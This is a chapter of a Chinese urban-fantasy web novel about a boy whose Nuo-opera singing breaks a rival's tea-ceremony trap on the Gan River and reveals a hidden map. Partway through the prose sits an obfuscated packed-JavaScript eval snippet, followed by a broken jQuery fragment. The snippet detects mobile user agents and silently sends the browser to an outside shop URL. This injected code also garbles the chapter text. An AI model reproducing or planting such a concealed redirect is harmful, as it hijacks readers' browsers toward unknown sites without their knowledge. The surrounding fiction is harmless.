文趣网 > 都市小说 > 山河勘误录 > 32. 戏台
    赣江的水色变了。

    刚才还是浑浊的土黄,转眼就泛出一层幽幽的青绿,像是谁往江里倒了一桶陈年的翡翠粉。船身不再平稳,开始随着某种看不见的暗流微微起伏,像踩在了一块巨大的、正在呼吸的软肉上。

    程老大把舵盘打得死紧,指节泛白:“各位坐稳了,这是‘回龙湾’。水底下有暗沟,船要是偏了半寸,就得被吸进‘鬼打墙’里转上一宿。”

    苏晓死死抱着相机,镜头对着水面。取景器里,那层青绿色的光越来越亮,隐约能看见水底有一些细长的影子在游动。不是鱼,那些影子太直了,像是一根根插在水底的竹竿。

    “那是‘水龙桩’。”一直沉默的欧阳老师忽然开口。他坐在船舱角落,手里捏着一根没扎完的竹篾,眼神却盯着水面,“老辈人放排,为了避开暗流,会在水里打这种桩。桩子上系着红布条,红布条散了,就说明水底下的路变了。”

    苏晓调整焦距,果然看见那些“竹竿”顶端,缠着早已腐烂成絮状的红布。

    “听雷在叫。”萧策忽然说。

    她坐在船头,听雷横在膝头。刀身没有出鞘,但那股低频的震动顺着船板传开来,震得苏晓脚底板发麻。

    “频率变了。”萧策闭着眼,手指搭在刀柄上,“刚才是在预警,现在是在‘对调’。水底下有东西,在和听雷共振。”

    谢无妄懒洋洋地抬起头,从兜里摸出一块巧克力,掰了一半递给旁边的阿满:“小子,吃糖。待会儿要是晕船,别吐我船上。”

    阿满接过巧克力,却没吃。他忽然站起来,把那顶歪戴的傩面扶正,冲着水面大喊一声:“开山神开路!闲杂水鬼,回避!”

    声音稚嫩,却透着一股子不容置疑的脆劲儿。

    苏晓一愣,刚想问他在干什么,就看见水面上的青绿色光芒忽然散开了一道口子。

    那些细长的“水龙桩”,竟然真的往两边移了移,让出了一条仅容一船通过的水道。

    “这……”苏晓瞪大了眼睛。

    “不是法术。”欧阳老师笑了笑,眼角的皱纹舒展开来,“是声呐。这些桩子底下连着老式的铁管,阿满这一嗓子,用的是傩戏里的‘喊山调’,频率刚好能触发铁管里的共鸣。以前放排人过暗沟,都靠这个。”

    他顿了顿,看着阿满的背影,语气里带着几分骄傲:“这孩子,嗓门随他爷爷。当年他爷爷是赣江上最好的‘号子头’,一声吼能震住十里浪。”

    船穿过水道,眼前的景象豁然开朗。

    江面中央,竟矗立着一座孤零零的石台。

    石台只有半个篮球场大小,四周被江水围着,台上却干干净净,连一株杂草都没有。最奇怪的是,石台中央摆着一张石桌,四把石凳,桌上还放着一套茶具。

    茶具是青花瓷的,在月光下泛着冷光,杯子里竟然还冒着热气。

    “有人在这儿喝茶?”苏晓惊得差点把相机摔了。

    “不是人。”谢无妄站起身,走到船舷边,目光落在石台边缘的一行刻字上,“是‘局’。”

    苏晓凑过去看。

    石台边缘刻着一行小字,字迹潦草,像是用指甲硬生生抠出来的:

    “万寿宫赵氏,戊戌年秋,留茶待客。”

    “戊戌年?”苏晓算了算,“那是六十年前?”

    “六十年前的茶,早就馊了。”谢无妄冷笑一声,“但这石台是新的。石头缝里的青苔还没长实,最多不超过三个月。”

    萧策终于睁开了眼。她站起身,听雷依旧握在手里,刀尖斜指水面。

    “赵老板在等我们。”她说,“这石台是个‘点将台’。江右商帮的老规矩,谈大事不在屋里,在水上。谁先坐上这把椅子,谁就说了算。”

    话音刚落,石台四周的水面忽然翻起浪花。

    四个穿着黑色潜水服的人从水里冒了出来,动作整齐划一,像四尊刚从水里捞出来的铁疙瘩。他们手里没拿武器,每人托着一个托盘,托盘上放着一只青花瓷杯。

    “萧小姐,谢先生,还有这位苏摄影师。”中间那个潜水员摘下面罩,露出一张熟悉的笑脸。

    是赵老板身边的那个马仔。

    “我家老板说了,这赣江底下的路不好走,请三位上岸喝杯茶,歇歇脚。”

    “我不渴。”谢无妄打了个哈欠,“而且我这人有个毛病,喝不惯别人的茶。”

    “谢先生别急着拒绝。”马仔也不恼,指了指石桌,“这茶里,泡的是‘解药’。你们船底下粘着的那些‘铁砂泥’,再往下游十里,就会化成酸水。到时候,这船底穿了,大家就只能在水里泡着了。”

    苏晓低头一看,船底果然粘着一层黑乎乎的东西,正滋滋地冒着白烟。

    “卑鄙!”萧策眼神一冷,听雷猛地出鞘半寸。

    “叮——”

    一声清越的刀鸣,震得四周水面荡起一圈涟漪。

    “萧小姐,动刀就坏了规矩。”马仔依旧笑着,“这是‘茶局’,不是‘武局’。江右商帮讲究‘以和为贵’,只要三位肯坐下来喝这杯茶,船底下的东西,自然有人清理。”

    萧策握着听雷的手紧了紧。

    她知道对方在耍花样。这石台四面环水,一旦上去,就是瓮中之鳖。可船底确实撑不了多久,程老大刚才已经偷偷告诉她,船底的钢板已经被腐蚀得只剩薄薄一层。

    “我去。”

    说话的不是萧策,也不是谢无妄,而是阿满。

    这孩子不知什么时候爬上了船头,手里举着那盏玻璃瓶灯笼,傩面下的眼睛亮得吓人。

    “小孩子家,别捣乱。”马仔皱了皱眉。

    “这不是捣乱。”阿满把灯笼往石台上一放,“欧阳老师说过,万寿宫的戏台子,从来不是给外人唱的。这石台是‘戏台’,茶是‘道具’。要破这个局,得唱戏。”

    说完,他忽然扯开嗓子,唱了起来。

    不是刚才那种奶声奶气的喊话,而是一段高亢激越的赣剧高腔。

    “金鼓响,战旗扬,许真君斩蛟锁大江……”

    声音不大,却穿透了江面的雾气,在石台四周回荡。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17641932|206705||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    奇迹发生了。

    随着他的歌声,石桌上的那只青花瓷杯,竟然“咔”的一声,裂开了一道缝。

    紧接着,第二只、第三只……四只杯子全裂了。茶水洒在石桌上,流进那些裂缝里,竟显出一幅地图来。

    “这是……”苏晓举起相机,对着石桌疯狂按快门。

    “是赣江底的水脉图。”欧阳老师激动得站了起来,“阿满唱的是‘镇蛟调’,这石台底下藏着机关,只有听到特定的频率,才会打开。赵老板想用茶局困住我们,却没想到,这石台本来就是咱们江西人留给自己的‘后手’!”

    马仔的脸色变了。他没想到,这四个孩子里,竟然有人懂这个。

    “撤!”他低喝一声,四个潜水员瞬间沉入水中。

    石台上的地图完全显现出来。那是一条蜿蜒的红线,从石台一直延伸到江底深处,终点画着一个圆圈,圆圈里写着一个字:

    “钥”。

    “钥匙。”萧策收起听雷,目光灼灼,“陆霜留下的钥匙,就在这儿。”

    谢无妄跳上石台,捡起一块碎瓷片,在手里转了转:“赵老板以为这是他的地盘,其实这石台是当年万寿宫的老匠人修的。他们早就算到了有一天,会有人想动赣江的根基,所以留了这么一手。”

    他转头看向阿满,难得正经了一次:“小子,这出戏唱得不错。回头叔叔给你买套新的行头。”

    阿满摘下傩面,露出那张脏兮兮的小脸,笑得露出一口小白牙:“不用买!欧阳老师说,旧行头才有魂。这面具是我爷爷传下来的,戴了它,我就不是阿满,我是开山神!”

    苏晓看着照片里的地图,又看了看眼前这个戴着傩面的孩子。

    她忽然明白,为什么萧策会说这四个孩子是“最硬的骨头”。

    他们守着的,不只是几块竹篾、几个泥人,而是这片土地上,祖祖辈辈传下来的智慧和骨气。

    “走吧。”萧策跳上石台,指着地图上的红线,“顺着这条路,就能找到锁蛟井的入口。赵老板吃了个哑巴亏,肯定不会善罢甘休。咱们得赶在他前面,拿到钥匙。”

    船重新开动的时候,天已经快亮了。

    东边的天际泛起鱼肚白,赣江上的雾气渐渐散去。

    苏晓站在船尾,看见那四个孩子站在石台上,朝着他们用力挥手。阿满又把傩面戴上了,在晨光里,那副狰狞的面具竟显出几分可爱来。

    “苏晓。”谢无妄靠在船舷上,手里拿着那块碎瓷片,“刚才那张照片,洗出来给我一张。”

    “干嘛?”

    “留着当纪念。”他笑了笑,“以后要是有人问起,赣江边上有没有‘小鬼头’能镇得住场子,我就把照片甩给他看。”

    苏晓低头看相机屏幕。

    照片里,石台上的青花瓷碎片拼成一幅地图,阿满站在中间,傩面朝天,手里的玻璃瓶灯笼在晨光里闪着光。

    背景是滚滚东去的赣江水,前景是那条蜿蜒的红线。

    像是一条沉睡的龙,正等着被人唤醒。